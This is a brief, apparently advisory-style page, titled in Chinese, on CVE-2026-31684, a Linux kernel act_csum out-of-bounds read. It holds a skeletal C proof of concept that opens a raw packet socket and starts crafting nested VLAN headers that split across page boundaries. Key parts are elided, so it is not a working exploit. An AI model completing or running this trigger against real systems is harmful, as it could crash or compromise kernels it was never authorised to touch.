CVE-2026-31684 Linux内核act_csum模块越界读取漏洞

// Conceptual PoC to trigger the vulnerability // This requires a setup where tc (traffic control) is configured with act_csum. // The attacker sends a packet with nested VLAN headers that straddle the linear/non-linear boundary. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <arpa/inet.h> // Function to craft a packet with specific VLAN headers to trigger the bug // Actual exploitation requires precise memory layout control. void trigger_vuln() { int sockfd; struct sockaddr_ll sa; char buffer[1024]; memset(buffer, 0, sizeof(buffer)); // Construct Ethernet header struct ethhdr *eth = (struct ethhdr *)buffer; // ... set MAC addresses ... // Construct Nested VLAN Headers // The goal is to make the inner VLAN header split across pages unsigned short *vlan_ptr = (unsigned short *)(buffer + sizeof(struct ethhdr)); *vlan_ptr = htons(ETH_P_8021Q); // Outer VLAN // ... fill rest to create the specific layout ... sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // ... sendto logic ... close(sockfd); } int main() { printf("Attempting to trigger CVE-2026-31684...\n"); trigger_vuln(); return 0; }